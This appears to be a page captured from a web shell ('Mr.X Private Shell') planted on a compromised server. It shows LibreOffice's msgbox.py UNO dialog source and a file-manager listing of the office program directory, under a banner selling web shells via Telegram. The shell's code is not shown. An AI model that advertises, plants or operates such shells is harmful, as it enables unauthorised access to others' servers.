__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- tab-width: 4; indent-tabs-mode: nil; py-indent-offset: 4 -*-
#
# This file is part of the LibreOffice project.
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
#
# prepare Python environment - Add the path of this class
# pyUNO program itself
import uno
import unohelper
# UNO GUI toolkit
from com.sun.star.awt.WindowClass import TOP
from com.sun.star.awt.PushButtonType import STANDARD as standard
from com.sun.star.awt.TextAlign import LEFT as left
# used UNO listeners
from com.sun.star.awt import XActionListener
class MsgBox(unohelper.Base):
"""Inspect UNO object, link to sdk and recursive calls"""
def __init__(self, aContext):
"""acontext : a Valid UNO context
"""
self.VERSION = '0.1'
self.ctx = aContext
self.smgr = aContext.ServiceManager
# UI Dialog object
self.dialog=None
# List of opened Listeners
self.lst_listeners={}
#UI parameters
self.ButtonSize = 50
self.boxSize = 200
self.lineHeight = 10
self.fromBroxSize = False
self.numberOfLines = -1
self.Buttons = []
self.Response = ''
return
#####################################################
# GUI definition #
#####################################################
def _createBox(self):
"""Create the Box"""
# computes parameters of the message dialog
if self.numberOfLines == -1:
#calculate
numberOfLines = len(self.message.split(chr(10)))
else:
numberOfLines = self.numberOfLines
numberOfButtons = len(self.Buttons)
self.ButtonSpace = self.ButtonSize/2
if self.fromBroxSize:
# button size is calculated from boxsize
size = (2 * self.boxSize) / (3 * numberOfButtons + 1)
self.ButtonSize = size
self.ButtonSpace = self.ButtonSize/2
else:
# boxsize is calculated from buttonsize
self.boxSize = numberOfButtons * (self.ButtonSize +
self.ButtonSpace) + self.ButtonSpace
# create the dialog model and set the properties
dialog_model = self.smgr.createInstanceWithContext(
'com.sun.star.awt.UnoControlDialogModel',
self.ctx)
dialog_model.PositionX = 50
dialog_model.Step = 1
dialog_model.TabIndex = 7
dialog_model.Width = self.boxSize#numberOfButtons * (self.ButtonSize +
# self.ButtonSpace) + 25
dialog_model.Height = 10 + self.lineHeight * numberOfLines + 10 + 12 + 10
dialog_model.PositionY = 63
dialog_model.Sizeable = True
dialog_model.Closeable = False
dialog = self.smgr.createInstanceWithContext(
'com.sun.star.awt.UnoControlDialog', self.ctx)
# label Label0
label = dialog_model.createInstance(
'com.sun.star.awt.UnoControlFixedTextModel')
label.PositionX = 10
label.TabIndex = 9
label.Width = dialog_model.Width - label.PositionX
label.Height = self.lineHeight* numberOfLines
label.PositionY = 10
label.Align = left
label.MultiLine = True
label.Label = self.message
dialog_model.insertByName('Label0', label)
nb = 0
for buttonName in self.Buttons:
nb +=1
button = dialog_model.createInstance(
'com.sun.star.awt.UnoControlButtonModel')
button.PositionX = nb * self.ButtonSpace + (nb-1)* self.ButtonSize
button.TabIndex = 8
button.Height = 12
button.Width = self.ButtonSize
button.PositionY = 10 + label.Height + 10
button.PushButtonType = standard
if nb == 1:
button.DefaultButton = True
else:
button.DefaultButton = False
button.Label = buttonName
dialog_model.insertByName('Btn' + str(nb), button )
if not dialog.getModel():
dialog.setModel(dialog_model)
# UNO toolkit definition
toolkit = self.smgr.createInstanceWithContext('com.sun.star.awt.Toolkit', self.ctx)
a_rect = uno.createUnoStruct( 'com.sun.star.awt.Rectangle' )
a_rect.X = 50
dialog.setTitle ( self.title )
a_rect.Width = 270
a_rect.Height = 261
a_rect.Y = 63
win_descriptor = uno.createUnoStruct('com.sun.star.awt.WindowDescriptor')
win_descriptor.Type = TOP
win_descriptor.ParentIndex = -1
win_descriptor.Bounds = a_rect
peer = toolkit.createWindow( win_descriptor )
dialog.createPeer( toolkit, peer )
return dialog
def _addListeners(self):
"""Add listeners to dialog"""
nb = 0
for buttonName in self.Buttons:
nb +=1
a_control = self.dialog.getControl('Btn'+str(nb))
the_listener = ButtonListener(self)
a_control.addActionListener(the_listener)
self.lst_listeners['Btn'+str(nb)] = the_listener
return
def _removeListeners(self):
""" remove listeners on exiting"""
nb = 0
for buttonName in self.Buttons:
nb +=1
a_control = self.dialog.getControl('Btn'+str(nb))
a_control.removeActionListener(self.lst_listeners['Btn'+str(nb)])
return
def show(self, message, decoration, title):
self.message = message
self.decoration = decoration
self.title = title
# Create GUI
self.dialog = self._createBox()
self._addListeners()
#execute the dialog --> blocking call
self.dialog.execute()
#end --> release listeners and dispose dialog
self._removeListeners()
self.dialog.dispose()
return self.Response
def addButton(self, caption):
self.Buttons.append(caption)
return
def renderFromBoxSize(self, size = 150):
self.boxSize = size
self.fromBroxSize = True
return
def renderFromButtonSize(self, size = 50):
self.ButtonSize = size
self.fromBroxSize = False
return
class ButtonListener(unohelper.Base, XActionListener):
"""Stops the MessageBox, sets the button label as returned value"""
def __init__(self, caller):
self.caller = caller
def disposing(self, eventObject):
pass
def actionPerformed(self, actionEvent):
button = actionEvent.Source
self.caller.Response = button.Model.Label
self.caller.dialog.endExecute()
return
### TEST
if __name__ == '__main__':
# get the uno component context from the PyUNO runtime
localContext = uno.getComponentContext()
# create the UnoUrlResolver
resolver = localContext.ServiceManager.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext )
# connect to the running office
# LibO has to be launched in listen mode as
# ./soffice "--accept=socket,host=localhost,port=2002;urp;"
ctx = resolver.resolve( "uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext" )
myBox = MsgBox(ctx)
myBox.addButton("Yes")
myBox.addButton("No")
myBox.addButton("May be")
myBox.renderFromBoxSize(150)
myBox.numberOflines = 2
print(myBox.show("A very long message A very long message A very long message A very long message A very long message A very long message A very long message A very long message A very long message A very long message " + chr(10)+chr(10)+"Do you agree ?",0,"Dialog title"))
myBox = MsgBox(ctx)
myBox.addButton("oK")
myBox.renderFromButtonSize()
myBox.numberOflines = 2
print(myBox.show("A small message",0,"Dialog title"))
# vim: set shiftwidth=4 softtabstop=4 expandtab:
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| classes | Folder | 0755 |
|
|
| opencl | Folder | 0755 |
|
|
| opengl | Folder | 0755 |
|
|
| resource | Folder | 0755 |
|
|
| services | Folder | 0755 |
|
|
| shell | Folder | 0755 |
|
|
| types | Folder | 0755 |
|
|
| wizards | Folder | 0755 |
|
|
| bootstraprc | File | 112 B | 0644 |
|
| fundamentalrc | File | 2.34 KB | 0644 |
|
| gdbtrace | File | 350 B | 0644 |
|
| intro-highres.png | File | 120.46 KB | 0644 |
|
| intro.png | File | 81.45 KB | 0644 |
|
| java-set-classpath | File | 1.98 KB | 0755 |
|
| libLanguageToollo.so | File | 171.58 KB | 0644 |
|
| libOGLTranslo.so | File | 303.22 KB | 0644 |
|
| libPresentationMinimizerlo.so | File | 327.36 KB | 0644 |
|
| libacclo.so | File | 1.65 MB | 0644 |
|
| libaffine_uno_uno.so | File | 22.52 KB | 0644 |
|
| libanalysislo.so | File | 432.91 KB | 0644 |
|
| libanimcorelo.so | File | 194.9 KB | 0644 |
|
| libavmediagst.so | File | 99.92 KB | 0644 |
|
| libbiblo.so | File | 592.59 KB | 0644 |
|
| libbinaryurplo.so | File | 211.63 KB | 0644 |
|
| libbootstraplo.so | File | 608.92 KB | 0644 |
|
| libcached1.so | File | 379.3 KB | 0644 |
|
| libcairocanvaslo.so | File | 705.61 KB | 0644 |
|
| libclewlo.so | File | 26.25 KB | 0644 |
|
| libcmdmaillo.so | File | 79.04 KB | 0644 |
|
| libcuilo.so | File | 5.04 MB | 0644 |
|
| libdatelo.so | File | 91.08 KB | 0644 |
|
| libdbahsqllo.so | File | 99.02 KB | 0644 |
|
| libdbalo.so | File | 3.79 MB | 0644 |
|
| libdeploymentgui.so | File | 412.92 KB | 0644 |
|
| libdlgprovlo.so | File | 199.47 KB | 0644 |
|
| libfilelo.so | File | 850.04 KB | 0644 |
|
| libgcc3_uno.so | File | 79.11 KB | 0644 |
|
| libgraphicfilterlo.so | File | 51.04 KB | 0644 |
|
| libhwplo.so | File | 555.85 KB | 0644 |
|
| libi18nlangtag.so | File | 151.38 KB | 0644 |
|
| libintrospectionlo.so | File | 211.41 KB | 0644 |
|
| libinvocadaptlo.so | File | 46.91 KB | 0644 |
|
| libinvocationlo.so | File | 126.94 KB | 0644 |
|
| libiolo.so | File | 388.89 KB | 0644 |
|
| libjavaloaderlo.so | File | 79.05 KB | 0644 |
|
| libjavavmlo.so | File | 143.51 KB | 0644 |
|
| libjvmaccesslo.so | File | 34.63 KB | 0644 |
|
| libjvmfwklo.so | File | 155.9 KB | 0644 |
|
| libldapbe2lo.so | File | 71.09 KB | 0644 |
|
| liblocaledata_en.so | File | 466.34 KB | 0644 |
|
| liblocaledata_es.so | File | 434.27 KB | 0644 |
|
| liblocaledata_euro.so | File | 2.98 MB | 0644 |
|
| liblocaledata_others.so | File | 4.16 MB | 0644 |
|
| liblog_uno_uno.so | File | 18.45 KB | 0644 |
|
| libloglo.so | File | 151.73 KB | 0644 |
|
| liblosessioninstalllo.so | File | 46.9 KB | 0644 |
|
| liblpsolve55.so | File | 640.63 KB | 0644 |
|
| liblwpftlo.so | File | 1.25 MB | 0644 |
|
| libmergedlo.so | File | 109.96 MB | 0644 |
|
| libmigrationoo2lo.so | File | 54.95 KB | 0644 |
|
| libmigrationoo3lo.so | File | 63.05 KB | 0644 |
|
| libmozbootstraplo.so | File | 55.03 KB | 0644 |
|
| libmsformslo.so | File | 608.91 KB | 0644 |
|
| libmswordlo.so | File | 3.01 MB | 0644 |
|
| libnamingservicelo.so | File | 34.74 KB | 0644 |
|
| libpcrlo.so | File | 1.77 MB | 0644 |
|
| libpdffilterlo.so | File | 369.13 KB | 0644 |
|
| libpdfimportlo.so | File | 592.92 KB | 0644 |
|
| libpdfiumlo.so | File | 4.85 MB | 0644 |
|
| libpricinglo.so | File | 106.91 KB | 0644 |
|
| libprotocolhandlerlo.so | File | 58.98 KB | 0644 |
|
| libproxyfaclo.so | File | 34.84 KB | 0644 |
|
| libpythonloaderlo.so | File | 30.94 KB | 0644 |
|
| libpyuno.so | File | 296.07 KB | 0644 |
|
| libreflectionlo.so | File | 255.81 KB | 0644 |
|
| libreglo.so | File | 91.1 KB | 0644 |
|
| libsal_textenclo.so | File | 1.62 MB | 0644 |
|
| libscdlo.so | File | 46.94 KB | 0644 |
|
| libscfiltlo.so | File | 5.69 MB | 0644 |
|
| libsclo.so | File | 20.9 MB | 0644 |
|
| libscnlo.so | File | 160.09 KB | 0644 |
|
| libscriptframe.so | File | 239.69 KB | 0644 |
|
| libscuilo.so | File | 906.58 KB | 0644 |
|
| libsdbtlo.so | File | 139.3 KB | 0644 |
|
| libsddlo.so | File | 43 KB | 0644 |
|
| libsdlo.so | File | 9.61 MB | 0644 |
|
| libsduilo.so | File | 1.81 MB | 0644 |
|
| libskialo.so | File | 7.17 MB | 0644 |
|
| libslideshowlo.so | File | 2.28 MB | 0644 |
|
| libsmdlo.so | File | 34.91 KB | 0644 |
|
| libsmlo.so | File | 1.93 MB | 0644 |
|
| libsolverlo.so | File | 167.27 KB | 0644 |
|
| libstaroffice-0.0-lo.so.0 | File | 2.55 MB | 0644 |
|
| libstocserviceslo.so | File | 159.64 KB | 0644 |
|
| libstoragefdlo.so | File | 54.94 KB | 0644 |
|
| libstorelo.so | File | 126.74 KB | 0644 |
|
| libsvgfilterlo.so | File | 889.55 KB | 0644 |
|
| libsw_writerfilterlo.so | File | 3.44 MB | 0644 |
|
| libswdlo.so | File | 34.93 KB | 0644 |
|
| libswlo.so | File | 22.23 MB | 0644 |
|
| libswuilo.so | File | 2.77 MB | 0644 |
|
| libt602filterlo.so | File | 131.05 KB | 0644 |
|
| libtextconversiondlgslo.so | File | 95 KB | 0644 |
|
| libucpchelp1.so | File | 496.42 KB | 0644 |
|
| libucpcmis1lo.so | File | 2.16 MB | 0644 |
|
| libucpdav1.so | File | 536.61 KB | 0644 |
|
| libucpgio1lo.so | File | 188.05 KB | 0644 |
|
| libucppkg1.so | File | 247.55 KB | 0644 |
|
| libuno_cppu.so.3 | File | 251.34 KB | 0644 |
|
| libuno_cppuhelpergcc3.so.3 | File | 1.24 MB | 0644 |
|
| libuno_purpenvhelpergcc3.so.3 | File | 30.56 KB | 0644 |
|
| libuno_sal.so.3 | File | 489.07 KB | 0644 |
|
| libuno_salhelpergcc3.so.3 | File | 38.76 KB | 0644 |
|
| libunoidllo.so | File | 487.22 KB | 0644 |
|
| libunopkgapp.so | File | 151.56 KB | 0644 |
|
| libunsafe_uno_uno.so | File | 14.39 KB | 0644 |
|
| libuuresolverlo.so | File | 38.8 KB | 0644 |
|
| libvbaobjlo.so | File | 3.04 MB | 0644 |
|
| libvbaswobjlo.so | File | 3.05 MB | 0644 |
|
| libvclplug_genlo.so | File | 599.66 KB | 0644 |
|
| libvclplug_gtk3lo.so | File | 2.37 MB | 0644 |
|
| libwpftcalclo.so | File | 99.52 KB | 0644 |
|
| libwpftdrawlo.so | File | 640.01 KB | 0644 |
|
| libwpftimpresslo.so | File | 75.27 KB | 0644 |
|
| libwpftwriterlo.so | File | 404.85 KB | 0644 |
|
| libwriterlo.so | File | 200.02 KB | 0644 |
|
| libwriterperfectlo.so | File | 79.02 KB | 0644 |
|
| libxmlreaderlo.so | File | 46.65 KB | 0644 |
|
| libxmlsecurity.so | File | 825.25 KB | 0644 |
|
| lounorc | File | 1.03 KB | 0644 |
|
| mailmerge.py | File | 21.91 KB | 0644 |
|
| msgbox.py | File | 7.99 KB | 0644 |
|
| officehelper.py | File | 7 KB | 0644 |
|
| oosplash | File | 50.3 KB | 0755 |
|
| opencltest | File | 14.31 KB | 0755 |
|
| pagein-calc | File | 24 B | 0644 |
|
| pagein-common | File | 255 B | 0644 |
|
| pagein-draw | File | 24 B | 0644 |
|
| pagein-impress | File | 24 B | 0644 |
|
| pagein-writer | File | 24 B | 0644 |
|
| pythonloader.py | File | 6.65 KB | 0644 |
|
| pythonloader.unorc | File | 182 B | 0644 |
|
| pyuno.so | File | 14.24 KB | 0644 |
|
| redirectrc | File | 50 B | 0644 |
|
| regview | File | 14.32 KB | 0755 |
|
| scalc | File | 63 B | 0755 |
|
| sdraw | File | 63 B | 0755 |
|
| senddoc | File | 13.63 KB | 0755 |
|
| services.rdb | File | 9.77 KB | 0644 |
|
| setuprc | File | 33 B | 0644 |
|
| simpress | File | 66 B | 0755 |
|
| smath | File | 63 B | 0755 |
|
| soffice | File | 6.5 KB | 0755 |
|
| soffice.bin | File | 14.23 KB | 0755 |
|
| sofficerc | File | 1.26 KB | 0644 |
|
| swriter | File | 65 B | 0755 |
|
| types.rdb | File | 56.36 KB | 0644 |
|
| uno | File | 1.26 KB | 0755 |
|
| uno.bin | File | 82.54 KB | 0755 |
|
| unoinfo | File | 1.27 KB | 0755 |
|
| unopkg | File | 2.83 KB | 0755 |
|
| unopkg.bin | File | 14.23 KB | 0755 |
|
| unorc | File | 239 B | 0644 |
|
| uri-encode | File | 14.23 KB | 0755 |
|
| versionrc | File | 1.01 KB | 0644 |
|
| xpdfimport | File | 78.41 KB | 0755 |
|